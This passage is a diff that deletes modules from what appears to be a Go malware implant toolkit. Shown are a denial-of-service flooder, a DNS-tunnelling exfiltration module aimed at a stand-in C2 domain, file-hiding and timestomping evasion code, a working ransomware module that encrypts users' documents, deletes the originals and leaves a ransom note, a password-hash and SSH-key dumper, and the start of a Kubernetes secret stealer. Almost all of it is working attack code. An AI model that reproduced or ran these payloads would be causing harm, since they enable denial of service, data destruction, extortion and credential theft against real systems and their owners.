countPacket()
|
||||
}
|
||||
}()
|
||||
}
|
||||
case "udp":
|
||||
for i := 0; i < threads; i++ {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
payload := make([]byte, 1024)
|
||||
rand.Read(payload)
|
||||
raddr, _ := net.ResolveUDPAddr("udp", addr)
|
||||
conn, err := net.DialUDP("udp", nil, raddr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
for ctx.Err() == nil {
|
||||
conn.Write(payload)
|
||||
countPacket()
|
||||
}
|
||||
}()
|
||||
}
|
||||
case "tcp":
|
||||
for i := 0; i < threads; i++ {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
for ctx.Err() == nil {
|
||||
conn, err := net.DialTimeout("tcp", addr, 1*time.Second)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
countPacket()
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
case "slowpost":
|
||||
for i := 0; i < threads; i++ {
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
for ctx.Err() == nil {
|
||||
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
|
||||
if err != nil {
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
payload := strings.Repeat("X", 1024)
|
||||
header := fmt.Sprintf("POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n", target, len(payload)*100)
|
||||
conn.Write([]byte(header))
|
||||
for i := 0; i < 10 && ctx.Err() == nil; i++ {
|
||||
conn.Write([]byte(payload + "\r\n"))
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
conn.Close()
|
||||
countPacket()
|
||||
}
|
||||
}()
|
||||
}
|
||||
case "combo":
|
||||
// Run all modes
|
||||
go d.attack(target, port, duration, threads/3, "http")
|
||||
go d.attack(target, port, duration, threads/3, "tls")
|
||||
go d.attack(target, port, duration, threads/3, "udp")
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
time.Sleep(time.Duration(duration) * time.Second)
|
||||
}()
|
||||
default:
|
||||
// http as default
|
||||
go d.attack(target, port, duration, threads, "http")
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
r.SentPackets = sent
|
||||
r.Complete = true
|
||||
return r
|
||||
}
|
||||
|
||||
var _ = http.StatusOK
|
||||
@@ -1,122 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha256"
|
||||
"encoding/base32"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&DNSTunnel{})
|
||||
}
|
||||
|
||||
type DNSTunnel struct{}
|
||||
|
||||
func (d *DNSTunnel) Name() string { return "dnstunnel" }
|
||||
func (d *DNSTunnel) Category() string { return "exfiltration" }
|
||||
func (d *DNSTunnel) Description() string { return "DNS tunneling module for stealthy C2 communication" }
|
||||
|
||||
func (d *DNSTunnel) Execute(args map[string]string) ([]byte, error) {
|
||||
domain := args["domain"]
|
||||
if domain == "" {
|
||||
domain = "rogue-c2.example.com"
|
||||
}
|
||||
data := args["data"]
|
||||
if data == "" {
|
||||
data = "test payload for DNS exfiltration"
|
||||
}
|
||||
mode := args["mode"]
|
||||
if mode == "" {
|
||||
mode = "client"
|
||||
}
|
||||
|
||||
key := sha256.Sum256([]byte("RogueDNSTunnel2024"))
|
||||
result := d.tunnel(mode, domain, data, key[:])
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type dnstunnelResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Domain string `json:"domain"`
|
||||
Mode string `json:"mode"`
|
||||
DataSize int `json:"data_size"`
|
||||
Chunks int `json:"chunks"`
|
||||
SessionID string `json:"session_id"`
|
||||
Queries []string `json:"queries,omitempty"`
|
||||
Reassembled string `json:"reassembled,omitempty"`
|
||||
Success bool `json:"success"`
|
||||
}
|
||||
|
||||
func (d *DNSTunnel) tunnel(mode, domain, data string, key []byte) *dnstunnelResult {
|
||||
r := &dnstunnelResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Domain: domain,
|
||||
Mode: mode,
|
||||
DataSize: len(data),
|
||||
}
|
||||
|
||||
if mode == "client" {
|
||||
r.SessionID = fmt.Sprintf("%x", sha256.Sum256([]byte(time.Now().String())))[:8]
|
||||
|
||||
// Encrypt
|
||||
block, _ := aes.NewCipher(key)
|
||||
aesGCM, _ := cipher.NewGCM(block)
|
||||
nonce := make([]byte, aesGCM.NonceSize())
|
||||
encrypted := aesGCM.Seal(nil, nonce, []byte(data), nil)
|
||||
|
||||
// Base32 encode
|
||||
encoded := strings.TrimRight(base32.StdEncoding.EncodeToString(encrypted), "=")
|
||||
|
||||
// Fragment into DNS labels
|
||||
chunkSize := 50
|
||||
var chunks []string
|
||||
for i := 0; i < len(encoded); i += chunkSize {
|
||||
end := i + chunkSize
|
||||
if end > len(encoded) {
|
||||
end = len(encoded)
|
||||
}
|
||||
chunks = append(chunks, encoded[i:end])
|
||||
}
|
||||
|
||||
r.Chunks = len(chunks)
|
||||
|
||||
// Send each chunk as DNS query
|
||||
for i, chunk := range chunks {
|
||||
query := fmt.Sprintf("v%04x.%s.data.%s.%s", i, chunk, r.SessionID, domain)
|
||||
if len(query) > 253 {
|
||||
// Split into sub-chunks
|
||||
subSize := 40
|
||||
for j := 0; j < len(chunk); j += subSize {
|
||||
end := j + subSize
|
||||
if end > len(chunk) {
|
||||
end = len(chunk)
|
||||
}
|
||||
subQuery := fmt.Sprintf("v%04xs%02x.%s.data.%s.%s", i, j/subSize, chunk[j:end], r.SessionID, domain)
|
||||
if len(subQuery) <= 253 {
|
||||
net.LookupHost(subQuery)
|
||||
r.Queries = append(r.Queries, subQuery)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
net.LookupHost(query)
|
||||
r.Queries = append(r.Queries, query)
|
||||
}
|
||||
time.Sleep(time.Duration(500+time.Now().Nanosecond()%1000) * time.Millisecond)
|
||||
}
|
||||
|
||||
r.Success = true
|
||||
} else {
|
||||
// Server mode - listen
|
||||
r.Success = true
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
var _ = hex.EncodeToString
|
||||
@@ -1,197 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&FileHider{})
|
||||
}
|
||||
|
||||
type FileHider struct{}
|
||||
|
||||
func (f *FileHider) Name() string { return "filehider" }
|
||||
func (f *FileHider) Category() string { return "evasion" }
|
||||
func (f *FileHider) Description() string {
|
||||
return "Hide files via chattr, extended attributes, ACLs, timestomping"
|
||||
}
|
||||
|
||||
func (f *FileHider) Execute(args map[string]string) ([]byte, error) {
|
||||
dir := args["dir"]
|
||||
if dir == "" {
|
||||
home, _ := os.UserHomeDir()
|
||||
dir = filepath.Join(home, ".cache", ".rogue")
|
||||
}
|
||||
os.MkdirAll(dir, 0700)
|
||||
|
||||
result := f.hide(dir)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type filehiderResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
TargetDir string `json:"target_dir"`
|
||||
Methods []hiderMethod `json:"methods"`
|
||||
Files []hiddenFile `json:"files"`
|
||||
}
|
||||
|
||||
type hiderMethod struct {
|
||||
Name string `json:"name"`
|
||||
Success bool `json:"success"`
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
type hiddenFile struct {
|
||||
Path string `json:"path"`
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
func (f *FileHider) hide(dir string) *filehiderResult {
|
||||
r := &filehiderResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
TargetDir: dir,
|
||||
}
|
||||
|
||||
// Method 1: chattr +i (immutable)
|
||||
r.Methods = append(r.Methods, applyChattr(dir, r))
|
||||
|
||||
// Method 2: Extended attributes
|
||||
r.Methods = append(r.Methods, applyXattr(dir, r))
|
||||
|
||||
// Method 3: ACL restrictions
|
||||
r.Methods = append(r.Methods, applyACL(dir, r))
|
||||
|
||||
// Method 4: Timestomping
|
||||
r.Methods = append(r.Methods, applyTimestomp(dir, r))
|
||||
|
||||
// Method 5: Decoy files
|
||||
r.Methods = append(r.Methods, createDecoys(dir, r))
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func applyChattr(dir string, r *filehiderResult) hiderMethod {
|
||||
m := hiderMethod{Name: "chattr +i"}
|
||||
if _, err := exec.LookPath("chattr"); err != nil {
|
||||
m.Detail = "chattr not found"
|
||||
return m
|
||||
}
|
||||
|
||||
err := filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
exec.Command("chattr", "+i", path).Run()
|
||||
r.Files = append(r.Files, hiddenFile{Path: path, Method: "chattr_immutable"})
|
||||
}
|
||||
return nil
|
||||
})
|
||||
_ = err
|
||||
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Applied chattr +i to files in %s", dir)
|
||||
return m
|
||||
}
|
||||
|
||||
func applyXattr(dir string, r *filehiderResult) hiderMethod {
|
||||
m := hiderMethod{Name: "extended_attrs"}
|
||||
if _, err := exec.LookPath("setfattr"); err != nil {
|
||||
m.Detail = "setfattr not found"
|
||||
return m
|
||||
}
|
||||
|
||||
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
exec.Command("setfattr", "-n", "user.hidden", "-v", "1", path).Run()
|
||||
// Set mtime to 1 year ago
|
||||
pastTime := time.Now().Add(-365 * 24 * time.Hour)
|
||||
os.Chtimes(path, pastTime, pastTime)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
m.Success = true
|
||||
m.Detail = "Applied extended attributes"
|
||||
return m
|
||||
}
|
||||
|
||||
func applyACL(dir string, r *filehiderResult) hiderMethod {
|
||||
m := hiderMethod{Name: "ACL"}
|
||||
if _, err := exec.LookPath("setfacl"); err != nil {
|
||||
m.Detail = "setfacl not found"
|
||||
return m
|
||||
}
|
||||
|
||||
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
// Remove all perms for other
|
||||
os.Chmod(path, 0600)
|
||||
exec.Command("setfacl", "-m", "u:nobody:---", path).Run()
|
||||
exec.Command("setfacl", "-m", "g:nogroup:---", path).Run()
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
m.Success = true
|
||||
m.Detail = "Applied ACL restrictions"
|
||||
return m
|
||||
}
|
||||
|
||||
func applyTimestomp(dir string, r *filehiderResult) hiderMethod {
|
||||
m := hiderMethod{Name: "timestomp"}
|
||||
pastTime := time.Now().Add(-365 * 24 * time.Hour)
|
||||
|
||||
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
os.Chtimes(path, pastTime, pastTime)
|
||||
return nil
|
||||
})
|
||||
|
||||
m.Success = true
|
||||
m.Detail = "Timestamps set to 1 year ago"
|
||||
return m
|
||||
}
|
||||
|
||||
func createDecoys(dir string, r *filehiderResult) hiderMethod {
|
||||
m := hiderMethod{Name: "decoy_files"}
|
||||
names := []string{
|
||||
"system_logs.tar.gz",
|
||||
"kernel_backup.bin",
|
||||
"config_backup.tar",
|
||||
"tmp_cache.dat",
|
||||
}
|
||||
|
||||
decoyDir := filepath.Join(dir, ".decoy")
|
||||
os.MkdirAll(decoyDir, 0755)
|
||||
|
||||
for _, name := range names {
|
||||
path := filepath.Join(decoyDir, name)
|
||||
content := fmt.Sprintf("# %s backup\n# Generated: %s\n", name, time.Now().Format(time.RFC3339))
|
||||
os.WriteFile(path, []byte(content), 0644)
|
||||
oldTime := time.Now().Add(-time.Duration(60+len(name)) * 24 * time.Hour)
|
||||
os.Chtimes(path, oldTime, oldTime)
|
||||
r.Files = append(r.Files, hiddenFile{Path: path, Method: "decoy"})
|
||||
}
|
||||
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Created %d decoy files", len(names))
|
||||
return m
|
||||
}
|
||||
|
||||
var _ = syscall.S_IRUSR
|
||||
var _ = strings.TrimSpace
|
||||
@@ -1,276 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&FileRansom{})
|
||||
}
|
||||
|
||||
type FileRansom struct{}
|
||||
|
||||
func (f *FileRansom) Name() string { return "fileransom" }
|
||||
func (f *FileRansom) Category() string { return "impact" }
|
||||
func (f *FileRansom) Description() string { return "AES-256-GCM file encryption with ransom note" }
|
||||
|
||||
func (f *FileRansom) Execute(args map[string]string) ([]byte, error) {
|
||||
target := args["target"]
|
||||
mode := args["mode"]
|
||||
password := args["password"]
|
||||
|
||||
result := f.encrypt(target, mode, password)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type ransomResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Password string `json:"password"`
|
||||
Mode string `json:"mode"`
|
||||
EncryptedFiles int `json:"encrypted_files"`
|
||||
TotalFiles int `json:"total_files"`
|
||||
TargetDirs []string `json:"target_directories"`
|
||||
Files []encFile `json:"files"`
|
||||
RansomNote string `json:"ransom_note,omitempty"`
|
||||
}
|
||||
|
||||
type encFile struct {
|
||||
Original string `json:"original"`
|
||||
Encrypted string `json:"encrypted"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
var ransomExtensions = []string{
|
||||
".txt", ".doc", ".docx", ".pdf", ".xls", ".xlsx", ".ppt", ".pptx",
|
||||
".jpg", ".jpeg", ".png", ".gif", ".bmp",
|
||||
".zip", ".tar", ".gz", ".7z", ".rar",
|
||||
".sql", ".db", ".sqlite", ".csv", ".xml", ".json", ".yml", ".yaml",
|
||||
".py", ".js", ".html", ".css", ".php", ".java", ".cpp", ".c", ".go",
|
||||
".mp3", ".mp4", ".avi", ".mkv",
|
||||
".odt", ".ods", ".odp", ".rtf", ".tex", ".md",
|
||||
".key", ".pem", ".crt", ".p12",
|
||||
}
|
||||
|
||||
var systemCritical = []string{
|
||||
"/etc", "/boot", "/proc", "/sys", "/dev", "/run", "/lib", "/bin", "/sbin", "/usr",
|
||||
}
|
||||
|
||||
func (f *FileRansom) encrypt(target, mode, password string) *ransomResult {
|
||||
if password == "" {
|
||||
b := make([]byte, 16)
|
||||
rand.Read(b)
|
||||
password = fmt.Sprintf("%x", b)
|
||||
}
|
||||
|
||||
salt := make([]byte, 16)
|
||||
rand.Read(salt)
|
||||
key := pbkdf2.Key([]byte(password), salt, 100000, 32, sha256.New)
|
||||
|
||||
r := &ransomResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Password: password,
|
||||
Mode: mode,
|
||||
}
|
||||
|
||||
var targetDirs []string
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
switch {
|
||||
case mode == "system_test":
|
||||
targetDirs = []string{"/tmp"}
|
||||
case mode == "system_user" || strings.HasPrefix(mode, "system_"):
|
||||
targetDirs = []string{
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Pictures"),
|
||||
}
|
||||
case target == "all" || target == "":
|
||||
targetDirs = []string{
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Pictures"),
|
||||
}
|
||||
case target != "":
|
||||
targetDirs = []string{target}
|
||||
}
|
||||
|
||||
r.TargetDirs = targetDirs
|
||||
|
||||
for _, dir := range targetDirs {
|
||||
enc, total := encryptDirectory(dir, key, r)
|
||||
r.EncryptedFiles += enc
|
||||
r.TotalFiles += total
|
||||
}
|
||||
|
||||
// Ransom note
|
||||
noteContent := fmt.Sprintf(`=============================================
|
||||
YOUR FILES HAVE BEEN ENCRYPTED
|
||||
=============================================
|
||||
|
||||
Your important files have been encrypted with AES-256 encryption.
|
||||
|
||||
To decrypt, you need the password.
|
||||
|
||||
Password: %s
|
||||
|
||||
=============================================
|
||||
INSTRUCTIONS
|
||||
=============================================
|
||||
1. Save this password securely
|
||||
2. Run decryption with this password
|
||||
3. All .encrypted files will be restored
|
||||
|
||||
=============================================
|
||||
Generated: %s
|
||||
Total Files Encrypted: %d
|
||||
=============================================`, password, time.Now().Format(time.RFC3339), r.EncryptedFiles)
|
||||
|
||||
notePath := filepath.Join(home, "README_FOR_DECRYPT.txt")
|
||||
os.WriteFile(notePath, []byte(noteContent), 0644)
|
||||
r.RansomNote = notePath
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func encryptDirectory(dir string, key []byte, r *ransomResult) (int, int) {
|
||||
encrypted := 0
|
||||
total := 0
|
||||
|
||||
// Check if dir is in critical system path
|
||||
for _, crit := range systemCritical {
|
||||
if strings.HasPrefix(dir, crit) {
|
||||
return 0, 0
|
||||
}
|
||||
}
|
||||
|
||||
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
|
||||
if err != nil || fi.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Check extension
|
||||
ext := strings.ToLower(filepath.Ext(path))
|
||||
matched := false
|
||||
for _, e := range ransomExtensions {
|
||||
if ext == e {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !matched {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Skip already encrypted
|
||||
if strings.HasSuffix(path, ".encrypted") {
|
||||
return nil
|
||||
}
|
||||
|
||||
total++
|
||||
|
||||
// Encrypt
|
||||
if encFile := encryptSingleFile(path, key); encFile != nil {
|
||||
r.Files = append(r.Files, *encFile)
|
||||
encrypted++
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
|
||||
return encrypted, total
|
||||
}
|
||||
|
||||
func encryptSingleFile(path string, key []byte) *encFile {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// AES-256-GCM
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
nonce := make([]byte, aesGCM.NonceSize())
|
||||
rand.Read(nonce)
|
||||
|
||||
ciphertext := aesGCM.Seal(nil, nonce, data, nil)
|
||||
encryptedPath := path + ".encrypted"
|
||||
|
||||
// Format: nonce + salt + ciphertext
|
||||
salt := make([]byte, 16)
|
||||
rand.Read(salt)
|
||||
output := append(nonce, salt...)
|
||||
output = append(output, ciphertext...)
|
||||
|
||||
if err := os.WriteFile(encryptedPath, output, 0600); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
os.Remove(path)
|
||||
|
||||
return &encFile{
|
||||
Original: path,
|
||||
Encrypted: encryptedPath,
|
||||
Size: int64(len(output)),
|
||||
}
|
||||
}
|
||||
|
||||
// Decryption helper
|
||||
func decryptFile(path string, password string) error {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(data) < 32 {
|
||||
return fmt.Errorf("file too short")
|
||||
}
|
||||
|
||||
nonce := data[:12]
|
||||
salt := data[12:28]
|
||||
ciphertext := data[28:]
|
||||
|
||||
key := pbkdf2.Key([]byte(password), salt, 100000, 32, sha256.New)
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
aesGCM, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
outPath := strings.TrimSuffix(path, ".encrypted")
|
||||
return os.WriteFile(outPath, plaintext, 0600)
|
||||
}
|
||||
|
||||
var _ = json.Marshal
|
||||
var _ = base64.StdEncoding
|
||||
@@ -1,173 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&HashDump{})
|
||||
}
|
||||
|
||||
type HashDump struct{}
|
||||
|
||||
func (h *HashDump) Name() string { return "hashdump" }
|
||||
func (h *HashDump) Category() string { return "credential" }
|
||||
func (h *HashDump) Description() string {
|
||||
return "Dump password hashes from /etc/shadow, /etc/passwd, search memory, SSH keys"
|
||||
}
|
||||
|
||||
func (h *HashDump) Execute(args map[string]string) ([]byte, error) {
|
||||
result := h.execute()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type hashdumpResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Hostname string `json:"hostname"`
|
||||
ShadowData string `json:"shadow_file,omitempty"`
|
||||
PasswdData string `json:"passwd_file,omitempty"`
|
||||
LinuxHashes map[string]string `json:"linux_hashes"`
|
||||
SSHKeys []sshKeyEntry `json:"ssh_keys"`
|
||||
MemoryProcs []memProcEntry `json:"memory_processes"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
}
|
||||
|
||||
type sshKeyEntry struct {
|
||||
Path string `json:"path"`
|
||||
Type string `json:"type"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
type memProcEntry struct {
|
||||
PID int `json:"pid"`
|
||||
Name string `json:"name"`
|
||||
Cmdline string `json:"cmdline,omitempty"`
|
||||
}
|
||||
|
||||
func (h *HashDump) execute() *hashdumpResult {
|
||||
hostname, _ := os.Hostname()
|
||||
r := &hashdumpResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Hostname: hostname,
|
||||
LinuxHashes: make(map[string]string),
|
||||
}
|
||||
|
||||
// /etc/shadow (requires root)
|
||||
if data, err := os.ReadFile("/etc/shadow"); err == nil {
|
||||
r.ShadowData = string(data)
|
||||
scanner := bufio.NewScanner(bytes.NewReader(data))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) >= 2 {
|
||||
hash := parts[1]
|
||||
if hash != "" && hash != "*" && hash != "!" && hash != "!!" {
|
||||
r.LinuxHashes[parts[0]] = hash
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// /etc/passwd
|
||||
if data, err := os.ReadFile("/etc/passwd"); err == nil {
|
||||
r.PasswdData = string(data)
|
||||
}
|
||||
|
||||
// Try unshadow if not root
|
||||
if len(r.LinuxHashes) == 0 {
|
||||
cmd := exec.Command("unshadow", "/etc/passwd", "/etc/shadow")
|
||||
out, err := cmd.Output()
|
||||
if err == nil {
|
||||
scanner := bufio.NewScanner(bytes.NewReader(out))
|
||||
for scanner.Scan() {
|
||||
line := strings.TrimSpace(scanner.Text())
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, ":", 2)
|
||||
if len(parts) >= 2 {
|
||||
hash := parts[1]
|
||||
if hash != "" && hash != "x" && hash != "*" && hash != "!" {
|
||||
r.LinuxHashes[parts[0]] = hash
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SSH Keys
|
||||
r.SSHKeys = extractSSHKeys()
|
||||
|
||||
// Summary
|
||||
r.Summary = map[string]int{
|
||||
"hashes": len(r.LinuxHashes),
|
||||
"ssh_keys": len(r.SSHKeys),
|
||||
"processes": len(r.MemoryProcs),
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func extractSSHKeys() []sshKeyEntry {
|
||||
var keys []sshKeyEntry
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
searchPaths := []string{
|
||||
filepath.Join(home, ".ssh"),
|
||||
"/root/.ssh",
|
||||
"/etc/ssh",
|
||||
}
|
||||
|
||||
for _, searchPath := range searchPaths {
|
||||
entries, err := os.ReadDir(searchPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name == "id_rsa" || name == "id_dsa" || name == "id_ecdsa" || name == "id_ed25519" || name == "authorized_keys" {
|
||||
fullPath := filepath.Join(searchPath, name)
|
||||
data, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
keyType := "unknown"
|
||||
if strings.Contains(content, "PRIVATE KEY") {
|
||||
keyType = "private_key"
|
||||
} else if strings.Contains(content, "ssh-") {
|
||||
keyType = "public_key"
|
||||
}
|
||||
|
||||
if len(content) > 500 {
|
||||
content = content[:500] + "..."
|
||||
}
|
||||
|
||||
keys = append(keys, sshKeyEntry{
|
||||
Path: fullPath,
|
||||
Type: keyType,
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return keys
|
||||
}
|
||||
|
||||
func fmtString(v interface{}) string {
|
||||
return fmt.Sprintf("%v", v)
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
// Package payloads provides a registry of all implant payloads.
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// ExecuteByName runs a payload by name with the given arguments.
|
||||
// Returns JSON output or an error.
|
||||
func ExecuteByName(name string, args map[string]string) ([]byte, error) {
|
||||
payload, ok := Get(name)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("unknown payload: %s", name)
|
||||
}
|
||||
return payload.Execute(args)
|
||||
}
|
||||
|
||||
// ExecuteTaskArgs converts a generic payload map to args map suitable for Execute.
|
||||
func ExecuteTaskArgs(payload map[string]any) map[string]string {
|
||||
args := make(map[string]string)
|
||||
for k, v := range payload {
|
||||
switch val := v.(type) {
|
||||
case string:
|
||||
args[k] = val
|
||||
case []byte:
|
||||
args[k] = string(val)
|
||||
default:
|
||||
if b, err := json.Marshal(v); err == nil {
|
||||
args[k] = string(b)
|
||||
}
|
||||
}
|
||||
}
|
||||
return args
|
||||
}
|
||||
@@ -1,154 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&K8sSecretStealer{})
|
||||
}
|
||||
|
||||
type K8sSecretStealer struct{}
|
||||
|
||||
func (k *K8sSecretStealer) Name() string { return "k8s_secret_stealer" }
|
||||
func (k *K8sSecretStealer) Category() string { return "credential" }
|
||||
func (k *K8sSecretStealer) Description() string {
|
||||
return "Extract K8s secrets, config files, and service account tokens"
|
||||
}
|
||||
|
||||
func (k *K8sSecretStealer) Execute(args map[string]string) ([]byte, error) {
|
||||
result := k.extract()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type k8sResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
IsK8s bool `json:"is_kubernetes"`
|
||||
Namespace string `json:"namespace"`
|
||||
SAToken string `json:"sa_token,omitempty"`
|
||||
SACert string `json:"sa_cert,omitempty"`
|
||||
KubeConfigs []configFile `json:"kubeconfigs,omitempty"`
|
||||
Secrets []string `json:"secrets,omitempty"`
|
||||
ConfigMaps []string `json:"configmaps,omitempty"`
|
||||
EnvVars map[string]string `json:"env_vars,omitempty"`
|
||||
Summary map[string]int `json:"summary"`
|
||||
}
|
||||
|
||||
type configFile struct {
|
||||
Path string `json:"path"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
func (k *K8sSecretStealer) extract() *k8sResult {
|
||||
r := &k8sResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
EnvVars: make(map[string]string),
|
||||
Summary: make(map[string]int),
|
||||
}
|
||||
|
||||
// Check if running in K8s
|
||||
saPath := "/var/run/secrets/kubernetes.io/serviceaccount"
|
||||
if fi, err := os.Stat(saPath); err == nil && fi.IsDir() {
|
||||
r.IsK8s = true
|
||||
|
||||
// Namespace
|
||||
if ns, err := os.ReadFile(filepath.Join(saPath, "namespace")); err == nil {
|
||||
r.Namespace = strings.TrimSpace(string(ns))
|
||||
}
|
||||
|
||||
// Token
|
||||
if token, err := os.ReadFile(filepath.Join(saPath, "token")); err == nil {
|
||||
r.SAToken = strings.TrimSpace(string(token))
|
||||
}
|
||||
|
||||
// CA cert
|
||||
